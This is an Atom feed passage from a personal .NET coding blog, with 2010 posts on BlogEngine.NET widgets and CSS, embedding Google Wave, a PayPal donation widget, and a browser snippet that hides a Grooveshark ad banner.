<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-283095442481052191</id><updated>2011-09-11T19:35:18.468+08:00</updated><category term='Hashtable'/><category term='Multi Remote Desktop Client .NET'/><category term='Visual Studio'/><category term='Windows Mobile'/><category term='me'/><category term='Worm'/><category term='tools'/><category term='research'/><category term='Google Wave'/><category term='ArrayList'/><category term='Others'/><category term='Code Project'/><category term='softwares'/><category term='iGoogle'/><category term='Belnder3D'/><category term='RegEx'/><category term='BlogEngine.NET'/><category term='.NET CF'/><category term='Integration'/><category term='Javscript'/><category term='Augmented Reality'/><category term='Web'/><category term='ASP.NET'/><category term='Quote'/><category term='C#'/><category term='Custom Controls'/><category term='Algorithm'/><category term='Knowledge'/><category term='my code'/><category term='RSS'/><category term='ARToolkit'/><category term='Tortiose SVN'/><category term='Ping.fm'/><category term='FileFolder'/><category term='html'/><category term='Virus'/><category term='Projects'/><category term='Ping.fm Thingie'/><category term='Anagram'/><category term='string[]'/><category term='Friendster Notify - Desktop Version'/><category term='System.IO'/><category term='Articles'/><category term='Tips and Tricks'/><category term='StringBuilder'/><title type='text'>Here's My Code</title><subtitle type='html'></subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://heresmycode.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/283095442481052191/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://heresmycode.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>Jayson Ragasa</name><uri>http://www.blogger.com/profile/08994762608395999908</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='27' height='32' src='http://2.bp.blogspot.com/-BXahqjOIiqQ/TlmQjV2Z3kI/AAAAAAAACAo/K1cdKiklFEE/s220/meme.png'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>49</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-283095442481052191.post-7590944615260246750</id><published>2011-08-28T08:33:00.001+08:00</published><updated>2011-08-28T08:33:21.608+08:00</updated><title type='text'>THIS SITE IS OUTDATED</title><content type='html'>THIS SITE IS OUTDATED&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/283095442481052191-7590944615260246750?l=heresmycode.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://heresmycode.blogspot.com/feeds/7590944615260246750/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=283095442481052191&amp;postID=7590944615260246750' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/283095442481052191/posts/default/7590944615260246750'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/283095442481052191/posts/default/7590944615260246750'/><link rel='alternate' type='text/html' href='http://heresmycode.blogspot.com/2011/08/this-site-is-outdated.html' title='THIS SITE IS OUTDATED'/><author><name>Nullstring</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='27' height='32' src='http://1.bp.blogspot.com/_kFNcLq9qQIg/SqCnZ8nL4AI/AAAAAAAABRU/dg3o9vMwSaA/S220/me.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-283095442481052191.post-2946739086298253710</id><published>2010-03-09T00:13:00.000+08:00</published><updated>2010-03-09T00:13:19.664+08:00</updated><title type='text'>Grooveshark - Remove $36 a year Ad banner!</title><content type='html'>&lt;p&gt;&lt;strong&gt;Hate this?&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;img src="http://jaysonragasa.net//image.axd?picture=2010%2f3%2fgs_w_banner.jpg" alt="" /&gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Want this?&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;img src="http://jaysonragasa.net//image.axd?picture=2010%2f3%2fgs_wo_banner.jpg" alt="" /&gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;DO THIS!&lt;br /&gt;&lt;span style="font-weight: normal;"&gt;&lt;img src="http://jaysonragasa.net//image.axd?picture=2010%2f3%2fab2.jpg" alt="" /&gt;&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;ENTER THIS IN THE ADDRESS BAR&lt;/strong&gt;&lt;br /&gt;&lt;textarea cols="77"&gt;javascript:document.getElementById("mainContainer").removeChild(document.getElementById("adBar"));javascript:document.getElementById("mainContentWrapper").setAttribute("style", "width: 100%");&lt;/textarea&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/283095442481052191-2946739086298253710?l=heresmycode.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://heresmycode.blogspot.com/feeds/2946739086298253710/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=283095442481052191&amp;postID=2946739086298253710' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/283095442481052191/posts/default/2946739086298253710'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/283095442481052191/posts/default/2946739086298253710'/><link rel='alternate' type='text/html' href='http://heresmycode.blogspot.com/2010/03/grooveshark-remove-36-year-ad-banner.html' title='Grooveshark - Remove $36 a year Ad banner!'/><author><name>Nullstring</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='27' height='32' src='http://1.bp.blogspot.com/_kFNcLq9qQIg/SqCnZ8nL4AI/AAAAAAAABRU/dg3o9vMwSaA/S220/me.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-283095442481052191.post-6265693766749170003</id><published>2010-02-27T21:45:00.002+08:00</published><updated>2010-02-27T21:56:22.312+08:00</updated><title type='text'>Gmail Widget - Google Wave</title><content type='html'>&lt;p&gt;&lt;a href="http://lh3.ggpht.com/_kFNcLq9qQIg/S4kh36gyLDI/AAAAAAAABuo/9Gt0pnpRkQk/s1600-h/gmail_gwave%5B5%5D.jpg"&gt;&lt;img style="border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px" title="gmail_gwave" border="0" alt="gmail_gwave" src="http://lh4.ggpht.com/_kFNcLq9qQIg/S4kh5XE913I/AAAAAAAABus/JBlQupmpD2k/gmail_gwave_thumb%5B3%5D.jpg?imgmax=800" width="600" height="360" /&gt;&lt;/a&gt; &lt;/p&gt;&lt;p&gt;Just trying to embed Google Wave in Gmail using the same technique I wrote &lt;strong&gt;&lt;a href="http://www.jaysonragasa.net/post/Add-Google-Wave-In-Your-WebBlog-Site.aspx"&gt;before&lt;/a&gt;&lt;/strong&gt;.&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/283095442481052191-6265693766749170003?l=heresmycode.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://heresmycode.blogspot.com/feeds/6265693766749170003/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=283095442481052191&amp;postID=6265693766749170003' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/283095442481052191/posts/default/6265693766749170003'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/283095442481052191/posts/default/6265693766749170003'/><link rel='alternate' type='text/html' href='http://heresmycode.blogspot.com/2010/02/google-wave-in-gmail.html' title='Gmail Widget - Google Wave'/><author><name>Nullstring</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='27' height='32' src='http://1.bp.blogspot.com/_kFNcLq9qQIg/SqCnZ8nL4AI/AAAAAAAABRU/dg3o9vMwSaA/S220/me.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://lh4.ggpht.com/_kFNcLq9qQIg/S4kh5XE913I/AAAAAAAABus/JBlQupmpD2k/s72-c/gmail_gwave_thumb%5B3%5D.jpg?imgmax=800' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-283095442481052191.post-4058422597123657310</id><published>2010-02-24T12:39:00.001+08:00</published><updated>2010-02-24T12:40:55.151+08:00</updated><title type='text'>BlogEngine.NET – Google Wave Widget</title><content type='html'>&lt;p&gt;&lt;a href="http://lh5.ggpht.com/_kFNcLq9qQIg/S4Stjua-EHI/AAAAAAAABug/34x0rN5lJgM/s1600-h/gwave%20widget%5B9%5D.jpg"&gt;&lt;img style="border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px" title="gwave widget" border="0" alt="gwave widget" src="http://lh3.ggpht.com/_kFNcLq9qQIg/S4StlBJ-7qI/AAAAAAAABuk/gFeJNp1Kzrg/gwave%20widget_thumb%5B7%5D.jpg?imgmax=800" width="680" height="337" /&gt;&lt;/a&gt; &lt;/p&gt;  &lt;p&gt;What you see is real. :)&lt;/p&gt;  &lt;p&gt;A Google Wave Widget for BlogEngine.NET or .. Blogger too. Confused? Thanks to BlogEngine.NET’s Textbox and Blogger’s “Insert HTML/Java *” gadget. Because what you can do on those widgets and gadgets is, you can insert your custom HTML and Javacript.&lt;/p&gt;  &lt;p&gt;But what about Google Wave? I made a tutorial a long time ago about &lt;a href="http://www.jaysonragasa.net/post/Add-Google-Wave-In-Your-WebBlog-Site.aspx"&gt;Add Google Wave In Your Web/Blog Site&lt;/a&gt;. It’s been a popular tutorial, simple and straight forward, works every website! and even your.. ehem .. Wordpress (but I know you already have gadget for that). But what I did was an approach to make it possible for every web site!&lt;/p&gt;  &lt;p&gt;So what did I do to have a Google Wave widget? Simple. &lt;/p&gt;  &lt;ol&gt;   &lt;li&gt;Read my tutorial about &lt;a href="http://www.jaysonragasa.net/post/Add-Google-Wave-In-Your-WebBlog-Site.aspx"&gt;Add Google Wave In Your Web/Blog Site&lt;/a&gt;. &lt;/li&gt;    &lt;li&gt;Add Textbox widget&lt;/li&gt;    &lt;li&gt;add the DIV width the id (like what I mentioned on my tutorial)&lt;/li&gt;    &lt;li&gt;and whala! you’re done!&lt;/li&gt; &lt;/ol&gt;  &lt;p&gt;Cheers!&lt;/p&gt;  &lt;p&gt;Check out the preview &lt;a href="http://www.jaysonragasa.net"&gt;here&lt;/a&gt;! (just below the &lt;strong&gt;About the author&lt;/strong&gt;)&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/283095442481052191-4058422597123657310?l=heresmycode.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://heresmycode.blogspot.com/feeds/4058422597123657310/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=283095442481052191&amp;postID=4058422597123657310' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/283095442481052191/posts/default/4058422597123657310'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/283095442481052191/posts/default/4058422597123657310'/><link rel='alternate' type='text/html' href='http://heresmycode.blogspot.com/2010/02/blogenginenet-google-wave-widget.html' title='BlogEngine.NET – Google Wave Widget'/><author><name>Nullstring</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='27' height='32' src='http://1.bp.blogspot.com/_kFNcLq9qQIg/SqCnZ8nL4AI/AAAAAAAABRU/dg3o9vMwSaA/S220/me.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://lh3.ggpht.com/_kFNcLq9qQIg/S4StlBJ-7qI/AAAAAAAABuk/gFeJNp1Kzrg/s72-c/gwave%20widget_thumb%5B7%5D.jpg?imgmax=800' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-283095442481052191.post-7769810356040342099</id><published>2010-02-22T22:21:00.001+08:00</published><updated>2010-02-22T22:21:22.189+08:00</updated><title type='text'>BlogEngine.NET - Horizontal Widget Zone with CSS</title><content type='html'>&lt;p&gt;&lt;a href="http://lh4.ggpht.com/_kFNcLq9qQIg/S4KS2Moxu6I/AAAAAAAABuU/QfBcNbG1_80/s1600-h/be_hori_widge%5B11%5D.jpg"&gt;&lt;img style="border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px" title="be_hori_widge" border="0" alt="be_hori_widge" src="http://lh6.ggpht.com/_kFNcLq9qQIg/S4KS4Guz1iI/AAAAAAAABuY/68B37wiSECY/be_hori_widge_thumb%5B9%5D.jpg?imgmax=800" width="500" height="447" /&gt;&lt;/a&gt; &lt;/p&gt;  &lt;p&gt;Yes, I think it’s a great idea to have horizontal Widget Zone in BlogEngine.NET&lt;/p&gt;  &lt;p&gt;So how I done it? Thanks to CSS.&lt;/p&gt;  &lt;p&gt;Here’s what to do&lt;/p&gt;  &lt;p&gt;In your favorite theme. There’s a file named &lt;strong&gt;site.master&lt;/strong&gt; and &lt;strong&gt;style.css&lt;/strong&gt;.&lt;/p&gt;  &lt;p&gt;For example. in Indigo theme (this is my default theme)&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;site.master&lt;/strong&gt;&lt;/p&gt;  &lt;pre class="csharpcode"&gt;&lt;span class="kwrd"&gt;&amp;lt;&lt;/span&gt;&lt;span class="html"&gt;div&lt;/span&gt; &lt;span class="attr"&gt;class&lt;/span&gt;&lt;span class="kwrd"&gt;=&amp;quot;content&amp;quot;&lt;/span&gt;&lt;span class="kwrd"&gt;&amp;gt;&lt;/span&gt;&lt;br /&gt;    &lt;span class="kwrd"&gt;&amp;lt;&lt;/span&gt;&lt;span class="html"&gt;blog:SearchOnSearch&lt;/span&gt; &lt;span class="attr"&gt;ID&lt;/span&gt;&lt;span class="kwrd"&gt;=&amp;quot;SearchOnSearch1&amp;quot;&lt;/span&gt; &lt;span class="attr"&gt;runat&lt;/span&gt;&lt;span class="kwrd"&gt;=&amp;quot;server&amp;quot;&lt;/span&gt; &lt;span class="attr"&gt;MaxResults&lt;/span&gt;&lt;span class="kwrd"&gt;=&amp;quot;3&amp;quot;&lt;/span&gt; &lt;span class="attr"&gt;Headline&lt;/span&gt;&lt;span class="kwrd"&gt;=&amp;quot;You searched for&amp;quot;&lt;/span&gt; &lt;span class="attr"&gt;Text&lt;/span&gt;&lt;span class="kwrd"&gt;=&amp;quot;Here are some results for the search term on this website&amp;quot;&lt;/span&gt; &lt;span class="kwrd"&gt;/&amp;gt;&lt;/span&gt;&lt;br /&gt;    &lt;span class="kwrd"&gt;&amp;lt;&lt;/span&gt;&lt;span class="html"&gt;asp:ContentPlaceHolder&lt;/span&gt; &lt;span class="attr"&gt;ID&lt;/span&gt;&lt;span class="kwrd"&gt;=&amp;quot;cphBody&amp;quot;&lt;/span&gt; &lt;span class="attr"&gt;runat&lt;/span&gt;&lt;span class="kwrd"&gt;=&amp;quot;server&amp;quot;&lt;/span&gt; &lt;span class="kwrd"&gt;/&amp;gt;&lt;/span&gt;&lt;br /&gt;    &lt;span class="kwrd"&gt;&amp;lt;&lt;/span&gt;&lt;span class="html"&gt;br&lt;/span&gt;&lt;span class="kwrd"&gt;/&amp;gt;&lt;/span&gt;&lt;br /&gt;    &lt;span class="kwrd"&gt;&amp;lt;&lt;/span&gt;&lt;span class="html"&gt;div&lt;/span&gt; &lt;span class="attr"&gt;style&lt;/span&gt;&lt;span class="kwrd"&gt;=&amp;quot;height: 2px; background-color: #b2b2b2;margin-top: 10px;&amp;quot;&lt;/span&gt;&lt;span class="kwrd"&gt;&amp;gt;&amp;lt;/&lt;/span&gt;&lt;span class="html"&gt;div&lt;/span&gt;&lt;span class="kwrd"&gt;&amp;gt;&lt;/span&gt;&lt;br /&gt;    &lt;span class="kwrd"&gt;&amp;lt;&lt;/span&gt;&lt;span class="html"&gt;div&lt;/span&gt; &lt;span class="attr"&gt;class&lt;/span&gt;&lt;span class="kwrd"&gt;=&amp;quot;horiwidgets&amp;quot;&lt;/span&gt;&lt;span class="kwrd"&gt;&amp;gt;&lt;/span&gt;&lt;br /&gt;        &lt;span class="kwrd"&gt;&amp;lt;&lt;/span&gt;&lt;span class="html"&gt;blog:WidgetZone&lt;/span&gt; &lt;span class="attr"&gt;ID&lt;/span&gt;&lt;span class="kwrd"&gt;=&amp;quot;WidgetZone1&amp;quot;&lt;/span&gt; &lt;span class="attr"&gt;runat&lt;/span&gt;&lt;span class="kwrd"&gt;=&amp;quot;server&amp;quot;&lt;/span&gt; &lt;span class="attr"&gt;ZoneName&lt;/span&gt;&lt;span class="kwrd"&gt;=&amp;quot;be_HORI_WIDGET_ZONE&amp;quot;&lt;/span&gt; &lt;span class="kwrd"&gt;/&amp;gt;&lt;/span&gt;&lt;br /&gt;    &lt;span class="kwrd"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="html"&gt;div&lt;/span&gt;&lt;span class="kwrd"&gt;&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="kwrd"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="html"&gt;div&lt;/span&gt;&lt;span class="kwrd"&gt;&amp;gt;&lt;/span&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;I added there the &amp;lt;div class=”horiwidgets”&amp;gt; and inside that block, I have &amp;lt;blog:WidgetZone ID=”WidgetZone1” runat=”server” ZoneName=”be_HORI_WIDGET_ZONE” /&amp;gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;&lt;em&gt;&lt;font size="2"&gt;“If you want to have multiple Widget Zone, always keep in mind that they must have a unique ID and ZoneName&lt;/font&gt;.”&lt;/em&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;and in my &lt;strong&gt;style.css&lt;/strong&gt; I added this styles&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre class="csharpcode"&gt;.posts &lt;br /&gt;{&lt;br /&gt;    clear: both;&lt;br /&gt;    float: none;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;.horiwidgets&lt;span class="kwrd"&gt;&amp;gt;&lt;/span&gt;.widgetzone&lt;br /&gt;{&lt;br /&gt;    float: left;&lt;br /&gt;    width: 100%;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;.horiwidgets&lt;span class="kwrd"&gt;&amp;gt;&lt;/span&gt;.widgetzone&lt;span class="kwrd"&gt;&amp;gt;&lt;/span&gt;div&lt;br /&gt;{&lt;br /&gt;    margin: 0px 10px 0px 10px;&lt;br /&gt;    float: left;&lt;br /&gt;    width: auto;&lt;br /&gt;    clear: none !important;&lt;br /&gt;}&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;and that’s all to have Horizontal Widget Zone!&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;Cheers!&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/283095442481052191-7769810356040342099?l=heresmycode.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://heresmycode.blogspot.com/feeds/7769810356040342099/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=283095442481052191&amp;postID=7769810356040342099' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/283095442481052191/posts/default/7769810356040342099'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/283095442481052191/posts/default/7769810356040342099'/><link rel='alternate' type='text/html' href='http://heresmycode.blogspot.com/2010/02/blogenginenet-horizontal-widget-zone.html' title='BlogEngine.NET - Horizontal Widget Zone with CSS'/><author><name>Nullstring</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='27' height='32' src='http://1.bp.blogspot.com/_kFNcLq9qQIg/SqCnZ8nL4AI/AAAAAAAABRU/dg3o9vMwSaA/S220/me.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://lh6.ggpht.com/_kFNcLq9qQIg/S4KS4Guz1iI/AAAAAAAABuY/68B37wiSECY/s72-c/be_hori_widge_thumb%5B9%5D.jpg?imgmax=800' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-283095442481052191.post-3331740680968691379</id><published>2010-02-18T09:32:00.001+08:00</published><updated>2010-02-19T12:42:45.451+08:00</updated><title type='text'>BlogEngine.NET – WIDGET – Paypal Donation Box + Paypal Current Balance</title><content type='html'>&lt;table border="0" cellspacing="0" cellpadding="2" width="569"&gt;&lt;tbody&gt;     &lt;tr&gt;       &lt;td valign="top"&gt;&lt;a href="http://lh5.ggpht.com/_kFNcLq9qQIg/S3yYjGf4boI/AAAAAAAABuI/clBa8N1YB-c/s1600-h/new-2%5B7%5D.png"&gt;&lt;img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="new-2" border="0" alt="new-2" src="http://lh5.ggpht.com/_kFNcLq9qQIg/S3yYkGnMwvI/AAAAAAAABuM/D4Q2fGmKN5Q/new-2_thumb%5B5%5D.png?imgmax=800" width="289" height="256" /&gt;&lt;/a&gt; &lt;/td&gt;        &lt;td valign="top"&gt;&lt;font size="2"&gt;This is pretty much of a personal widget. So everything was hardcoded which means, you cannot “Edit” it. But if you like to, then you must change some codes in the widget it self. Those are the Paypal Signature and the Donation Form            &lt;br /&gt;            &lt;br /&gt;You can get your Paypal API Signature here: (login first)             &lt;br /&gt;&lt;/font&gt;&lt;a href="https://www.paypal.com/ph/cgi-bin/webscr?cmd=_profile-api-access&amp;amp;upgrade.x=1"&gt;&lt;font size="2"&gt;https://www.paypal.com/ph/cgi-bin/webscr?cmd=_profile-api-access&amp;amp;upgrade.x=1&lt;/font&gt;&lt;/a&gt;&lt;font size="2"&gt;            &lt;br /&gt;            &lt;br /&gt;Donation Button here:             &lt;br /&gt;&lt;/font&gt;&lt;a href="https://www.paypal.com/cgi-bin/webscr?cmd=_donate-intro-outside"&gt;&lt;font size="2"&gt;https://www.paypal.com/cgi-bin/webscr?cmd=_donate-intro-outside&lt;/font&gt;&lt;/a&gt;&lt;/td&gt;     &lt;/tr&gt;   &lt;/tbody&gt;&lt;/table&gt;  &lt;p&gt;&amp;#160;&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;Download here&lt;/strong&gt;&lt;/p&gt;  &lt;p&gt;&lt;iframe style="padding-bottom: 0px; background-color: #fcfcfc; padding-left: 0px; width: 98px; padding-right: 0px; height: 115px; padding-top: 0px" title="Preview" marginheight="0" src="http://cid-39b8fdc09b6b5252.skydrive.live.com/embedicon.aspx/Source%20and%20Binaries/BlogEngine.NET%20-%20Widgets/PaypalDonationBox/paypal^_widget.rar" frameborder="0" marginwidth="0" scrolling="no"&gt;&lt;/iframe&gt;&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;Installation Insturction&lt;/strong&gt;&lt;/p&gt;  &lt;p&gt;Well the folders are already setup for you. All you need to do is to modify the code:&lt;/p&gt;  &lt;p&gt;1. App_Code\Controls\GetPayPalBalance.cs&lt;/p&gt;  &lt;p&gt;in the constructor. make sure you entered your API Username, Password, Signature, and Environment (Live or Sandbox). You can get your API Signature &lt;a href="https://www.paypal.com/ph/cgi-bin/webscr?cmd=_profile-api-access&amp;amp;upgrade.x=1"&gt;here&lt;/a&gt;.&lt;/p&gt;  &lt;p&gt;2. widget\PaypalDonationBox\widget.ascx&lt;/p&gt;  &lt;p&gt;Insert the Form code. You can get the Donation Button code &lt;a href="https://www.paypal.com/cgi-bin/webscr?cmd=_donate-intro-outside"&gt;here&lt;/a&gt;.&lt;/p&gt;  &lt;p&gt;3. read the web.config.installation.readme.txt&lt;/p&gt;  &lt;p&gt;and follow everything I said there&lt;/p&gt;  &lt;p&gt;4. make sure you have done it right.&lt;/p&gt;  &lt;p&gt;5. copy all those folders in your BE.NET host.&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/283095442481052191-3331740680968691379?l=heresmycode.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://heresmycode.blogspot.com/feeds/3331740680968691379/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=283095442481052191&amp;postID=3331740680968691379' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/283095442481052191/posts/default/3331740680968691379'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/283095442481052191/posts/default/3331740680968691379'/><link rel='alternate' type='text/html' href='http://heresmycode.blogspot.com/2010/02/blogenginenet-widget-paypal-donation.html' title='BlogEngine.NET – WIDGET – Paypal Donation Box + Paypal Current Balance'/><author><name>Nullstring</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='27' height='32' src='http://1.bp.blogspot.com/_kFNcLq9qQIg/SqCnZ8nL4AI/AAAAAAAABRU/dg3o9vMwSaA/S220/me.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://lh5.ggpht.com/_kFNcLq9qQIg/S3yYkGnMwvI/AAAAAAAABuM/D4Q2fGmKN5Q/s72-c/new-2_thumb%5B5%5D.png?imgmax=800' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-283095442481052191.post-7040943863673962966</id><published>2010-02-18T08:34:00.001+08:00</published><updated>2010-02-18T08:34:41.968+08:00</updated><title type='text'>BlogEngine.NET – HOWTO – Use BreakPost when viewing by Category, Tag, or Author</title><content type='html'>&lt;p&gt;Change the following code in: default.aspx.cs&lt;/p&gt;  &lt;p&gt;Comment this line if you want to to use BreakPost when viewed by Category   &lt;br /&gt;@ line 193: &lt;font color="#008040"&gt;//PostList1.ContentBy = ServingContentBy.Category;&lt;/font&gt;&lt;/p&gt;  &lt;p&gt;Comment this line if you want to to use BreakPost when viewed by Tag   &lt;br /&gt;@ line 204: &lt;font color="#008040"&gt;//PostList1.ContentBy = ServingContentBy.Author;&lt;/font&gt;&lt;/p&gt;  &lt;p&gt;Comment this line if you want to to use BreakPost when viewed by Author   &lt;br /&gt;@ line 214: &lt;font color="#008040"&gt;//PostList1.ContentBy = ServingContentBy.Tag;&lt;/font&gt;&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/283095442481052191-7040943863673962966?l=heresmycode.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://heresmycode.blogspot.com/feeds/7040943863673962966/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=283095442481052191&amp;postID=7040943863673962966' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/283095442481052191/posts/default/7040943863673962966'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/283095442481052191/posts/default/7040943863673962966'/><link rel='alternate' type='text/html' href='http://heresmycode.blogspot.com/2010/02/blogenginenet-howto-use-breakpost-when.html' title='BlogEngine.NET – HOWTO – Use BreakPost when viewing by Category, Tag, or Author'/><author><name>Nullstring</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='27' height='32' src='http://1.bp.blogspot.com/_kFNcLq9qQIg/SqCnZ8nL4AI/AAAAAAAABRU/dg3o9vMwSaA/S220/me.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-283095442481052191.post-5683125261374596024</id><published>2010-02-16T07:32:00.001+08:00</published><updated>2010-02-16T07:32:52.651+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='BlogEngine.NET'/><category scheme='http://www.blogger.com/atom/ns#' term='ASP.NET'/><category scheme='http://www.blogger.com/atom/ns#' term='C#'/><category scheme='http://www.blogger.com/atom/ns#' term='my code'/><title type='text'>BlogEngine.NET – HOWTO - Redirect Blogger Post Entry to BE.NET Post Entry</title><content type='html'>&lt;p&gt;Earlier from my post about redirecting my visitors to BE.NET Search &lt;a href="http://www.jaysonragasa.net/post/BlogEngineNET-Searchaspxcs-Modification-to-allow-.aspx"&gt;here&lt;/a&gt;; because I haven’t found a way to redirect to the BE.NET blog entry it self.&lt;/p&gt;  &lt;p&gt;Now I think I did it! A new method to redirect your visitors to BE.NET blog entry!&lt;/p&gt;  &lt;p&gt;&amp;#160;&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;The Story&lt;/strong&gt;&lt;/p&gt;  &lt;p&gt;Migrating from Blogger to BlogEngine.NET is quite fun and a little bit problematic. But of course, that’s the beauty of learning.&lt;/p&gt;  &lt;p&gt;If you want to migrate from Blogger to BlogEngine.NET. You have to use &lt;a href="http://www.aaronlerch.com/blog/2007/07/21/export-blogger-blogs-to-blogml-with-powershell/"&gt;BloggerToBlogML&lt;/a&gt; from 